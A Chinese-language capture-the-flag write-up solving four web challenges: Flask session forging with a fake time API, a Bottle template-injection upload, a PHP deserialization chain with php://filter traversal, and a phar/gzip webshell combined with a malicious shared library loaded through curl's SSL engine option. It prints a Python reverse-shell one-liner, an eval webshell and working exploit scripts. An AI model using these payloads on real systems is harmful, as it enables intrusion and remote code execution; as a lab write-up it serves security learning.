Ekko_note

审计源码 大概思路就是:有一个管理员面板 admin才能访问并且要到2066年以后才可以访问 admin通过session伪造 时间api可以修改

注册账号,登录后伪造admin的session进去

1
python flask_session_cookie_manager3.py encode -s 'your-secret-key-here'  -t "{'is_admin': True, 'user_id': 1, 'username': 'admin'}"

在服务器起一个api服务,修改api为服务器的api

1
2
3
4
5
6
7
8
9
10
from flask import Flask, jsonify

app = Flask(__name__)

@app.route('/time')
def fake_time():
return jsonify({"date":"2066-08-15 16:14:34","weekday":"星期五","timestamp":1755245674,"remark":"任何情况请联系QQ:3295320658 微信服务号:顺成网络"})

if __name__ == '__main__':
app.run(host='0.0.0.0', port=2333)

修改api后进入面板

image-20250821185856949

直接执行命令没有回显 试反弹shell

1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your_ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

ez_bottle

在upload上传文件

绕过黑名单

1
["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals", "get", "open"]

使用了setattr的python函数 setattr(obj, name, value)

1
2
3
% import bottle\n
% setattr(bottle, 'TEMPLATE' + chr(95) + 'PATH', ['/'])\n
% include('flag')\n

大意就是把Bottle 模板引擎在什么目录下搜索模板文件改为了/根目录 然后include了/flag文件

写脚本上传压缩包,压缩包里面是包含bottle语句的txt文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import io
import zipfile
import requests


def make_zip_payload() -> io.BytesIO:
txt = "% import bottle\n% setattr(bottle, 'TEMPLATE' + chr(95) + 'PATH', ['/'])\n% include('flag')\n"
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("exploit", txt)
buf.seek(0)
return buf


def upload_zip_file(target_url: str):
zbuf = make_zip_payload()
files = {"file": ("exploit.zip", zbuf, "application/zip")}

print(f"[*] 正在上传恶意ZIP文件到 {target_url}...")
try:
r = requests.post(
target_url,
files=files,
timeout=20,
headers={"User-Agent": "Mozilla/5.0"}
)

if r.status_code == 200:
print("[+] 文件上传成功!")
print("[*] 服务器响应:", r.text[:300])
else:
print(f"[!] 上传失败,状态码: {r.status_code}")
print("[!] 错误响应:", r.text[:300])

except Exception as e:
print(f"[!] 上传过程中发生错误: {str(e)}")


if __name__ == "__main__":
TARGET_UPLOAD_URL = "http://challenge.xinshi.fun:40967/upload"

upload_zip_file(TARGET_UPLOAD_URL)
print("[*] 上传完成 ")

访问上传的文件,得到flag

Your Uns3r

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
highlight_file(__FILE__);
class User
{
public $username;
public $value;
public function exec()
{
$ser = unserialize(serialize(unserialize($this->value)));
if ($ser != $this->value && $ser instanceof Access) {
include($ser->getToken());
}
}
public function __destruct()
{
if ($this->username == "admin") {
$this->exec();
}
}
}

class Access
{
protected $prefix;
protected $suffix;

public function getToken()
{
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;

}
}

$ser = $_POST["user"];
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
exit ("no way!!!!");
}

$user = unserialize($ser);
throw new Exception("nonono!!!");

这道题出得很好(赞

1.是抛出错误 使用gc回收机制来绕过 这样就可以触发__destruct__魔术方法绕过抛出错误

2.是admin和Acess的绕过 只要不同时出现就好 Acess是类名 使用大小写绕过

3.$result = $this->prefix . ‘lilctf’ . $this->suffix 绕过这个lilctf使用../来绕过

4.unserialize(serialize(unserialize($this->value))) value赋值为serialize($b)就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class User
{
public $username='admin';
public $value;
}

class Access
{
protected $prefix="php://filter/convert.base64-encode/resource=/";
protected $suffix="/../flag";
}
$a = new User();
$b = new Access();
$a->value = serialize($b);
$c=array('a'=>$a,'b'=>NULL);
echo urlencode(serialize($c));

生成:

1
a%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22value%22%3Bs%3A117%3A%22O%3A6%3A%22Access%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A45%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A8%3A%22%2F..%2Fflag%22%3B%7D%22%3B%7Ds%3A1%3A%22b%22%3BN%3B%7D

把最后的

1
2
3
a:2:{s:1:"a";O:4:"User":2:{s:8:"username";s:5:"admin";s:5:"value";s:117:"O:6:"Access":2:{s:9:"*prefix";s:45:"php://filter/convert.base64-encode/resource=/";s:9:"*suffix";s:8:"/../flag";}";}s:1:"b";N;}
改为
a:2:{s:1:"a";O:4:"User":2:{s:8:"username";s:5:"admin";s:5:"value";s:117:"O:6:"access":2:{s:9:"*prefix";s:45:"php://filter/convert.base64-encode/resource=/";s:9:"*suffix";s:8:"/../flag";}";}s:1:"User";N;}

urlencode即可

php_jail_is_my_cry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
if (isset($_POST['url'])) {
$url = $_POST['url'];
$file_name = basename($url);

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);

if ($data) {
file_put_contents('/tmp/'.$file_name, $data);
echo "文件已下载: <a href='?down=$file_name'>$file_name</a>";
} else {
echo "下载失败。";
}
}

if (isset($_GET['down'])){
include '/tmp/' . basename($_GET['down']);
exit;
}

// 上传文件
if (isset($_FILES['file'])) {
$target_dir = "/tmp/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
$orig = $_FILES["file"]["tmp_name"];
$ch = curl_init('file://'. $orig);

// I hide a trick to bypass open_basedir, I'm sure you can find it.

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
if (stripos($data, '<?') === false && stripos($data, 'php') === false && stripos($data, 'halt') === false) {
file_put_contents($target_file, $data);
} else {
echo "存在 `<?` 或者 `php` 或者 `halt` 恶意字符!";
$data = null;
}
}
?>

简单的php代码 三个点下载文件 包含文件 上传文件

很明显的不准上传一句话php木马 这里有文件包含很容易联想到使用gz打包的pahr文件来绕过 include可以直接解析gz文件 写一句话木马

https://xz.aliyun.com/news/18584

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$phar = new Phar('12.phar');
$phar ->startBuffering();
$stub = <<<'STUB'
<?php
file_put_contents("/var/www/html/.php",'<?=eval($_POST[1])?>');
__HALT_COMPILER();
?>
STUB;
$phar ->setStub($stub);
$phar ->addFromString('test.txt', 'test');
$phar ->stopBuffering();
?>

生成的phar文件打包成gz

1
gzip 12.phar

image-20250821190139046

源码phpini或者这里的环境都给了disablefunctions 几乎把所有禁完了

提示

​ // I hide a trick to bypass open_basedir, I’m sure you can find it.

1
open_basedir/var/www/html:/tmp/var/www/html:/tmp

使用curl来进行命令rce

1
2
3
该curl命令行工具在类 POSIX 系统(Linux、macOS 等)上存在任意代码执行漏洞。该--engine选项允许从共享库(文件)加载 OpenSSL 加密引擎.so。关键在于,该选项接受库文件的绝对路径或相对路径,从而允许用户加载文件系统上的任何共享库。
攻击者可以构造一个包含__attribute__((constructor))函数的恶意共享库。该函数会在库加载到进程内存时由动态加载器执行curl,从而实现立即代码执行,甚至在 OpenSSL 尝试将其初始化为引擎之前。
如果攻击者可以影响传递给命令的参数curl,这将导致直接 RCE,这是 Web 应用程序后端、CI/CD 管道和其他自动化脚本中的常见情况。

https://hackerone.com/reports/3293801

通过编译一个.so文件进行读取/realflag文件

1
2
3
4
5
6
#include <stdlib.h>

__attribute__((constructor))
static void rce_init(void) {
system("/readflag > ./flag.txt");
}

上传so文件成功后回到原来的木马界面

1
2
3
4
1=$ch = curl_init("http://www.azureyinglong.cn");
curl_setopt($ch, CURLOPT_SSLENGINE , "/tmp/sauy.so");
$data = curl_exec($ch);
curl_close($ch);

访问flag.txt拿到flag

我曾有一份工作